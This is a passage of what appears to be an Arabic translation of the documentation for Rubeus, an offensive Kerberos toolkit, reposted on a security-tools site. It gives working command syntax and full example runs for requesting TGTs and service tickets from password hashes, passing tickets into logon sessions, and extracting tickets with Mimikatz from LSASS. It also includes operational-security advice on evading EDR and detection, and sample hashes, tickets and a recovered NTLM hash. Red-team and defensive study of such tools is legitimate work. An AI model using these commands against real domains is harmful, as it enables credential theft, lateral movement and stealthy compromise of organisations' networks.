        Rubeus.exe asrep2kirbi /asrep:<BASE64 | FILEPATH> </key:BASE64 | /keyhex:HEXSTRING> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]

    إدراج مفتاح جلسة DES جديد في Kirbi:
        Rubeus.exe kirbi /kirbi:<BASE64 | FILEPATH> /sessionkey:SESSIONKEY /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:FILENAME] [/nowrap]


 ملاحظة: يمكن فك تشفير كتل تذاكر Base64 باستخدام:

    [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))

ملاحظات الأمان العملياتي (Opsec Notes)

يغطي هذا القسم بعض الملاحظات حول الأمان العملياتي لاستخدام Rubeus في بيئة، مع أمثلة تقنية تقارن/تتناقض بين بعض أساليبه و Mimikatz. سيتم توسيع المحتوى هنا في المستقبل.

نظرة عامة

أي إجراء تقوم به على نظام هو خطر قابل للاكتشاف، خاصة عند إساءة استخدام الوظائف بطرق "غريبة"/غير مقصودة. يمكن اكتشاف Rubeus (مثل أي مجموعة أدوات مهاجمة) بعدة طرق، سواء من منظور المضيف أو الشبكة أو المجال. لدي زميل عمل يحب أن يقول "كل شيء سري حتى يبحث عنه شخص ما" - عادة ما تتهرب الأدوات والتقنيات من الكشف لأن إما أ) لا يكون الناس على دراية كافية بالأداة/التقنية وبالتالي لا يبحثون عنها، ب) لا يستطيع الناس جمع ومعالجة البيانات المطلوبة على النطاق المناسب، أو ج) تندمج الأداة/التقنية مع السلوك الحالي لتتسلل مع نتائج إيجابية خاطئة في البيئة. هناك الكثير من المعلومات حول هذه الخطوات وتقويض الكشف بشكل عام في محاضرة Matt Graeber و Lee Christensen في Black Hat USA 2018 "Subverting Sysmon" والورقة البيضاء المرتبطة بها.

من منظور المضيف، يمكن اكتشاف Rubeus أثناء التسليح الأولي للكود نفسه، من خلال عملية غير طبيعية (غير lsass.exe) تصدر حركة Kerberos على المنفذ 88، من خلال استخدام واجهات برمجة تطبيقات حساسة مثل LsaCallAuthenticationPackage()، أو من خلال وجود تذاكر غير طبيعية على المضيف (مثل استخدام rc4_hmac في التذاكر في بيئة حديثة).

من منظور سجلات الشبكة أو وحدة تحكم المجال، نظرًا لأن Rubeus ينفذ أجزاء كثيرة من بروتوكول Kerberos العادي، فإن طريقة الكشف الرئيسية تتضمن استخدام rc4_hmac في تبادلات Kerberos. تستخدم نطاقات Windows الحديثة (المستوى الوظيفي 2008 فما فوق) تشفير AES بشكل افتراضي في تبادلات Kerberos العادية (مع بعض الاستثناءات مثل تذاكر الثقة بين المجالات). استخدام تجزئة rc4_hmac (NTLM) في تبادل Kerberos بدلاً من مفتاح aes256_cts_hmac_sha1 (أو aes128) ينتج عنه بعض الإشارات التي يمكن اكتشافها على مستوى المضيف ومستوى الشبكة (إذا تم تحليل حركة Kerberos) ومستوى سجل أحداث وحدة تحكم المجال، والتي تُعرف أحيانًا باسم "خفض مستوى التشفير" (encryption downgrade).

التسليح (Weaponization)

إحدى الطرق الشائعة لاكتشاف أدوات الهجوم هي من خلال ناقل التسليح للكود. إذا تم تشغيل Rubeus عبر PowerShell (وهذا يشمل Empire) فإن جميع الحماية القياسية لـ PowerShell V5 تنطبق (تسجيل كتل البرامج النصية العميق، AMSI، إلخ). إذا تم تنفيذ Rubeus كملف ثنائي على القرص، فإن اكتشاف التوقيع القياسي لمضادات الفيروسات يلعب دورًا (جزء من سبب عدم إصدارنا إصدارات مجمعة من Rubeus، لأن التوقيعات الهشة سخيفة؛ ). إذا تم استخدام Rubeus كمكتبة فإنها تكون عرضة لأي طريقة تستخدمها الأداة الرئيسية للتشغيل. وإذا تم تشغيل Rubeus من خلال تنفيذ تجميع غير مُدار (مثل execute_assembly الخاص بـ Cobalt Strike) فسيتم إجراء حقن الكود عبر العمليات ويتم تحميل CLR في عملية غير تابعة لـ .NET، على الرغم من أن هذه الإشارة موجودة لتنفيذ أي كود .NET باستخدام هذه الطريقة.

أيضًا، تمت إضافة AMSI (واجهة فحص البرامج الضارة) [إلى .NET 4.8](https://blogs.msdn.microsoft.com/dotnet/2018/11/28/announcing-net-framework-4-8-early-access-build-3694/. Ryan Cobb لديه تفاصيل إضافية حول الآثار الهجومية لهذا في قسم الدفاع من منشوره "Entering a Covenant: .NET Command and Control".

مثال: استخراج بيانات الاعتماد (Credential Extraction)

لنفترض أن لدينا وصولًا مرتفعًا على جهاز ونريد استخراج بيانات اعتماد المستخدم لإعادة استخدامها.

Mimikatz هو السكين السويسري لاستخراج بيانات الاعتماد، مع خيارات متعددة. الأمر sekurlsa::logonpasswords سيفتح مقبض قراءة لـ LSASS، ويعدد جلسات تسجيل الدخول الموجودة على النظام، ويتجول في حزم المصادقة الافتراضية لكل جلسة تسجيل دخول، ويستخرج أي مواد كلمة مرور/بيانات اعتماد قابلة للعكس موجودة. ملاحظة جانبية: الأمر sekurlsa::ekeys سيعَدِّد جميع أنواع المفاتيح الموجودة لحزمة Kerberos.

لا يحتوي Rubeus على أي كود للمس LSASS (ولا شيء مقصود)، لذا تقتصر وظائفه على استخراج تذاكر Kerberos من خلال استخدام واجهة برمجة التطبيقات LsaCallAuthenticationPackage(). من منظور غير مرتفع الامتيازات، لا يتم إرجاع مفاتيح الجلسة لـ TGTs (بشكل افتراضي)، لذا فقط تذاكر الخدمة المستخرجة ستكون قابلة للاستخدام (يستخدم الأمر tgtdeleg خدعة Kekeo للحصول على TGT قابل للاستخدام للمستخدم الحالي). إذا كان السياق عالي التكامل، يتم تشغيل ما يعادل GetSystem باستخدام تكرار الرمز المميز للارتقاء إلى SYSTEM، ويتم تسجيل تطبيق تسجيل دخول وهمي مع استدعاء API LsaRegisterLogonProcess(). يتيح هذا تعدادًا مميزًا واستخراجًا لجميع التذاكر المسجلة حاليًا مع LSA على النظام، مما ينتج عنه مخرجات .kirbi مشفرة بـ base64 لإعادة استخدامها لاحقًا.

يمكن لـ Mimikatz إجراء نفس استخراج .kirbi base64 مع السلسلة التالية من الأوامر:

root@kitploit:~
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export

يمكن لـ Mimikatz أيضًا استخراج التذاكر مباشرة من ذاكرة LSASS باستخدام:

root@kitploit:~
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export

بما أن "كل شيء سري حتى يبحث عنه شخص ما"، فمن الجدل ما إذا كان التلاعب بـ LSASS أو استخراج التذاكر عبر استدعاء API LsaCallAuthenticationPackage() هو أكثر "سرية". نظرًا لشعبية Mimikatz، أصبح فتح مقبض لـ LSASS وقراءة/كتابة ذاكرته هدفًا كبيرًا للكشف و/أو منع EDR. ومع ذلك، فإن LsaCallAuthenticationPackage() تُستخدم من قبل مجموعة محدودة إلى حد ما من العمليات، وإنشاء تطبيق تسجيل دخول وهمي باستخدام LsaRegisterLogonProcess() هو أيضًا سلوك غير طبيعي إلى حد ما. ومع ذلك، يبدو أن التفتيش الكامل لمستوى API وإنشاء خط الأساس هو مشكلة تقنية أكثر صعوبة من حماية LSASS.

مثال: تجزئة التمرير الفائقة (Over-pass-the-hash)

لنفترض أننا استعدنا تجزئة rc4_hmac (NTLM) لمستخدم ونريد إعادة استخدام بيانات الاعتماد هذه لاختراق جهاز إضافي حيث يكون لحساب المستخدم وصول مميز.

ملاحظة جانبية: تمرير التجزئة != تجزئة التمرير الفائقة. تتضمن تقنية تمرير التجزئة التقليدية إعادة استخدام تجزئة من خلال بروتوكول NTLMv1/NTLMv2، الذي لا يلمس Kerberos على الإطلاق. تم تطوير نهج تجزئة التمرير الفائقة بواسطة Benjamin Delpy و Skip Duckwall (انظر عرضهم "Abusing Microsoft Kerberos - Sorry you guys don't get it" لمزيد من المعلومات). يحول هذا النهج تجزئة/مفتاح (rc4_hmac, aes256_cts_hmac_sha1، إلخ) لمستخدم منضم إلى مجال إلى تذكرة منح تذكرة كاملة (TGT).

دعنا نقارن بين "تجاوز تجزئة التمرير" عبر أمر Mimikatz sekurlsa::pth مقابل استخدام أمر asktgt من Rubeus (أو Kekeo إذا كنت تفضل ذلك).

عند استخدام sekurlsa::pth لتجاوز تجزئة التمرير، يقوم Mimikatz أولاً بإنشاء عملية تسجيل دخول من النوع 9 ببيانات اعتماد وهمية - يؤدي هذا إلى إنشاء جلسة تسجيل دخول "تضحية" جديدة لا تتفاعل مع جلسة تسجيل الدخول الحالية. ثم يفتح عملية LSASS بإمكانية الكتابة إلى ذاكرة العملية، ثم يتم تطبيق التجزئة/المفتاح المقدم في القسم المناسب لجلسة تسجيل الدخول المرتبطة (في هذه الحالة، جلسة تسجيل الدخول "التضحية" التي تم بدؤها). يتسبب هذا في بدء عملية مصادقة Kerberos العادية كما لو كان المستخدم قد سجل الدخول بشكل طبيعي، مما يحول التجزئة المقدمة إلى TGT كامل.

عند تشغيل أمر Rubeus asktgt (أو ما يعادله في Kekeo)، يتم استخدام بروتوكول Kerberos الخام لطلب TGT، والذي يتم تطبيقه بعد ذلك على جلسة تسجيل الدخول الحالية إذا تم تمرير العلم /ptt.

مع نهج Mimikatz، هناك حاجة إلى حقوق إدارية حيث أنك تتلاعب بذاكرة LSASS مباشرة. كما ذكرنا سابقًا، أدت شعبية Mimikatz أيضًا إلى أن يصبح هذا النوع من السلوك (فتح مقبض لـ LSASS وقراءة/كتابة ذاكرته) هدفًا كبيرًا للكشف و/أو منع EDR. مع نهج Rubeus/Kekeo، ليست هناك حاجة إلى حقوق إدارية حيث لا يتم لمس LSASS. ومع ذلك، إذا تم تطبيق التذكرة على جلسة تسجيل الدخول الحالية (مع /ptt)، فسيتم استبدال TGT لجلسة تسجيل الدخول الحالية. يمكن تجنب هذا السلوك (مع الوصول الإداري) باستخدام الأمر /createnetonly لإنشاء عملية/جلسة تسجيل دخول تضحية، ثم استخدام /ptt /ticket:X /luid:0xa.. مع LUID العملية المنشأة حديثًا. إذا كنت تستخدم Cobalt Strike، فإن استخدام الأمر make_token ببيانات اعتماد وهمية ثم kerberos_ticket_use مع التذكرة المستردة بواسطة Rubeus سيسمح لك بتطبيق TGT الجديد بطريقة أ) لا تتطلب حقوقًا إدارية و ب) لا تطأ على TGT جلسة تسجيل الدخول الحالية.

في رأينا، من المرجح أن يتم اكتشاف أو تخفيف نهج التلاعب بـ LSASS (في الوقت الحالي) بسبب شعبية التقنية. ومع ذلك، فإن نهج Rubeus ينتج عنه قطعة أخرى من السلوك القابل للاكتشاف. يجب أن تنشأ حركة Kerberos إلى المنفذ 88 عادةً فقط من lsass.exe - إرسال حركة خام من هذا النوع من عملية غير طبيعية يمكن أن يكون قابلاً للاكتشاف إذا أمكن جمع المعلومات.

ملاحظة جانبية: إحدى الطرق التي يمكن بها اكتشاف كلا النهجين هي "كشف خفض مستوى التشفير" المذكور سابقًا. لاسترداد مفاتيح AES، استخدم وحدة Mimikatz sekurlsa::ekeys لإرجاع جميع مفاتيح تشفير Kerberos (وكذلك مع lsadump::dcsync) والتي تكون أفضل للاستخدام عند محاولة التهرب من بعض طرق الكشف.

طلبات التذاكر والتجديدات

تفصيل أوامر طلب التذكرة:

asktgt

سيقوم إجراء asktgt ببناء حركة AS-REQ خام (طلب TGT) للمستخدم المحدد ومفتاح التشفير (/rc4, /aes128, /aes256, أو /des). يمكن أيضًا استخدام العلم /password بدلاً من التجزئة - في هذه الحالة سيكون /enctype:X افتراضيًا على RC4 للتبادل، مع des|aes128|aes256 كخيارات. إذا لم يتم تحديد /domain، يتم استخراج المجال الحالي للكمبيوتر، وإذا لم يتم تحديد /dc، يتم فعل الشيء نفسه لوحدة تحكم المجال الحالية للنظام. إذا نجحت المصادقة، يتم تحليل AS-REP الناتج ويتم إخراج KRB-CRED (.kirbi، الذي يتضمن TGT الخاص بالمستخدم) ككتلة base64. سيقوم العلم /ptt بـ "تمرير التذكرة" وتطبيق بيانات اعتماد Kerberos الناتجة على جلسة تسجيل الدخول الحالية. سيقوم العلم /luid:0xA.. بتطبيق التذكرة على معرف جلسة تسجيل الدخول المحدد (يلزم الارتفاع بالامتيازات) بدلاً من جلسة تسجيل الدخول الحالية.

لاحظ أنه لا حاجة إلى امتيازات مرتفعة على المضيف لطلب TGTs أو تطبيقها على جلسة تسجيل الدخول الحالية، فقط التجزئة الصحيحة للمستخدم الهدف. أيضًا، ملاحظة أمان عملياتي أخرى: يمكن تطبيق TGT واحد فقط في المرة الواحدة على جلسة تسجيل الدخول الحالية، لذلك يتم مسح TGT السابق عند تطبيق التذكرة الجديدة عند استخدام خيار /ptt. الحل البديل هو استخدام المعامل /createnetonly:C:\X.exe (الذي يخفي العملية افتراضيًا إلا إذا تم تحديد العلم /show)، أو طلب التذكرة وتطبيقها على جلسة تسجيل دخول أخرى باستخدام ptt /luid:0xA...

بشكل افتراضي، توجد عدة اختلافات بين AS-REQ التي يولدها Rubeus و AS-REQ الحقيقية. لتكوين AS-REQ بشكل أكثر توافقًا مع الطلبات الحقيقية، يمكن استخدام العلم /opsec، والذي سيرسل AS-REQ أولية بدون توثيق مسبق أولاً، إذا نجح ذلك، يتم فك تشفير AS-REP الناتج وإرجاع TGT، وإلا يتم إرسال AS-REQ مع توثيق مسبق. نظرًا لأن هذا العلم يهدف إلى جعل حركة Rubeus أكثر سرية، فلا يمكن استخدامه افتراضيًا مع أي نوع تشفير غير aes256 وسيتم إلقاء تحذير والخروج إذا تم استخدام نوع تشفير آخر. للسماح باستخدام أنواع تشفير أخرى مع تغييرات /opsec، يوجد العلم /force.يتم دعم مصادقة PKINIT باستخدام الوسيط /certificate:X. عندما تكون المفتاح الخاص داخل ملف PFX محمية بكلمة مرور، يمكن تمرير كلمة المرور هذه باستخدام الوسيط /password:X. عند استخدام مصادقة PKINIT، يمكن استخدام العلامة /getcredentials لطلب تذكرة خدمة U2U تلقائيًا واسترداد تجزئة NT للحساب.

يمكن طلب TGT بدون PAC باستخدام المفتاح /nopac.

يمكن استخدام وكيل KDC (MS-KKDCP) لتقديم الطلب باستخدام الوسيط /proxyurl:URL. مطلوب عنوان URL الكامل لوكيل KDC، على سبيل المثال https://kdcproxy.exmaple.com/kdcproxy

يمكن استخدام العلامة /nopreauth لإرسال AS-REQ بدون مصادقة مسبقة. يمكن استخدام الوسيط /service:SPN لطلب تذاكر خدمة مباشرة باستخدام AS-REQ، حيث يقبل SPN أو اسم مستخدم.

طلب تذكرة عبر تجزئة RC4 لـ [email protected]، وتطبيقها على جلسة تسجيل الدخول الحالية:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):

    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

[*] Action: Import Ticket
[+] Ticket successfully imported!

[*] Action: Describe Ticket

UserName              :  dfm.a
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  krbtgt/testlab.local
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  2/25/2019 3:06:07 PM
EndTime               :  2/25/2019 8:06:07 PM
RenewTill             :  3/4/2019 3:06:07 PM
Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType               :  rc4_hmac
Base64(key)           :  +zY8adXi2NuvkAxl1ohUOA==

طلب تذكرة عبر تجزئة aes256_hmac لـ [email protected]، وإنشاء عملية مخفية جديدة وتطبيق التذكرة على جلسة تسجيل الدخول تلك. ملاحظة: صلاحيات مرتفعة مطلوبة!

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Create Process (/netonly)

[*] Showing process : False
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 7564
[+] LUID            : 0x3c4c241

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...

[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!

لاحظ أن معاملات /luid و /createnetonly تتطلب صلاحيات مرتفعة!

طلب تذكرة باستخدام شهادة واستخدام /getcredentials لاسترداد تجزئة NT:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==

  ServiceName              :  krbtgt/rubeus.ghostpack.local
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  harmj0y
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  14/07/2021 02:25:33
  EndTime                  :  14/07/2021 12:25:33
  RenewTill                :  21/07/2021 02:25:33
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  7MS2ajfZo4HedoK+K3dLcQ==
  ASREP (key)              :  9B1C28A276FBBE557D0F9EE153FE24E1

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : C69A7EA908898C23B72E65329AF7E3E8

asktgs

يقوم إجراء asktgs ببناء/تحليل طلب تذكرة خدمة TGS-REQ/TGS-REP خام باستخدام TGT المحدد المقدم في الوسيط /ticket:X. يمكن أن تكون هذه القيمة ترميز base64 لملف .kirbi أو مسار ملف .kirbi على القرص. إذا لم يتم تحديد /dc، يتم استخراج وحدة تحكم المجال الحالية للكمبيوتر واستخدامها كوجهة لحركة الطلب. ستؤدي العلامة /ptt إلى "تمرير التذكرة" وتطبيق تذكرة الخدمة الناتجة على جلسة تسجيل الدخول الحالية. يجب تحديد واحد أو أكثر من SPNs في الوسيط /service:X، مفصولة بفواصل.

ستكون أنواع التشفير المدعومة في TGS-REQ المنشأة هي RC4_HMAC و AES128_CTS_HMAC_SHA1 و AES256_CTS_HMAC_SHA1. في هذه الحالة، سيتم استخدام أعلى تشفير مدعوم بشكل متبادل من قبل KDC لبناء تذكرة الخدمة المرتجعة. إذا كنت ترغب في فرض مفاتيح DES أو RC4 أو AES128/256، استخدم /enctype:[RC4|AES128|AES256|DES].

من أجل طلب تذكرة خدمة لحساب باستخدام اسم رئيسي مؤسسي (أي [email protected])، يمكن استخدام العلامة /enterprise.

بشكل افتراضي، توجد عدة اختلافات بين TGS-REQ الناتجة عن Rubeus وطلبات TGS-REQ الأصلية. لتكوين TGS-REQ أكثر توافقًا مع الطلبات الأصلية، يمكن استخدام العلامة /opsec، والتي ستؤدي أيضًا إلى إرسال طلب TGS-REQ إضافي تلقائيًا عند طلب تذكرة خدمة لحساب تم تكوينه للتفويض غير المقيد. نظرًا لأن هذه العلامة تهدف إلى جعل حركة مرور Rubeus أكثر خفاءً، فلا يمكن استخدامها بشكل افتراضي مع أي نوع تشفير غير aes256 وستقوم برمي تحذير والخروج إذا تم استخدام نوع تشفير آخر.

للتلاعب يدويًا بسيناريوهات أخرى، يمكن استخدام /tgs:X لتوفير تذكرة إضافية تضاف إلى نص الطلب. يضيف هذا أيضًا خيار تفويض مقيد KDC بالإضافة إلى تجنب التحديد الديناميكي للمجال من SPN المعطى /service:X، ولهذا السبب تم تنفيذ الوسيط /targetdomain:X لفرض استخدام الطلب للمجال المقدم، وهو مفيد لطلب تذاكر خدمة مفوضة من مجال أجنبي أو تذاكر ذات SPNs غير معتادة.

تم تنفيذ العلامة /u2u لطلب تذاكر User-to-User. جنبًا إلى جنب مع الوسيط /tgs:X (المستخدم لتوفير TGT للحساب الهدف)، يمكن أن يكون الوسيط /service:X هو اسم المستخدم للحساب الذي يتم توفير TGT له (مع الوسيط /tgs:X). سيطلب الوسيط /targetuser:X PAC لأي حساب آخر عن طريق إدراج قسم بيانات PA-FOR-USER PA مع اسم المستخدم للمستخدم الهدف.

ستقوم العلامة /printargs بطباعة الوسيطات المطلوبة لتزوير تذكرة بنفس قيم PAC إذا كان PAC قابلاً للقراءة. يمكن القيام بذلك عن طريق توفير الوسيط /servicekey:X أو تنفيذ طلب /u2u بمفتاح جلسة معروف.

يمكن استخدام وكيل KDC (MS-KKDCP) لتقديم الطلب باستخدام الوسيط /proxyurl:URL. مطلوب عنوان URL الكامل لوكيل KDC، على سبيل المثال https://kdcproxy.exmaple.com/kdcproxy

تم تنفيذ العلامة /keyList لطلبات قائمة مفاتيح Kerberos. يجب أن تستخدم هذه الطلبات TGT جزئيًا مزورًا من وحدة تحكم مجال للقراءة فقط في المعامل /ticket:BASE64|FILE.KIRBI، مزيد من التفاصيل حول هذا TGT المزور في قسم الذهبي. علاوة على ذلك، يجب تعيين حقل /spn:x إلى KRBTGT SPN داخل المجال، على سبيل المثال KRBTBT/domain.local.

يدعم إجراء asktgs أيضًا طلب تذاكر خدمة عبر حزمة مصادقة Kerberos باستخدام LSASS. يمكن تمكين وضع التشغيل هذا بحذف الوسيط /ticket. بشكل افتراضي، يتم استخدام TGT المرتبط بجلسة تسجيل الدخول الحالية. يمكن استهداف جلسة تسجيل دخول بديلة عن طريق توفير الوسيط /luid:xxx. صلاحيات المسؤول المحلي مطلوبة عند استهداف جلسات تسجيل دخول أخرى. حاليًا، يمكن طلب تذاكر خدمة بسيطة فقط عبر LSASS. يتم تجاهل الوسيطات للميزات مثل S4U2Self و U2U وقائمة المفاتيح ووكيل KDC. غالبًا ما يكون طلب تذاكر الخدمة عبر LSASS أكثر ملاءمة من ناحية الأمان التشغيلي، حيث ستنشأ حركة Kerberos من LSASS. هذا الوضع مطلوب أيضًا للسيناريوهات التي يكون فيها Credential Guard / Remote Credential Guard نشطًا، حيث أن تفريغ TGT مع Credential Guard غير ممكن.

طلب TGT لـ dfm.a ثم استخدام تلك التذكرة لطلب تذكرة خدمة لـ SPNs "LDAP/primary.testlab.local" و "cifs/primary.testlab.local":

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!


C:\Rubeus>Rubeus.exe klist

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
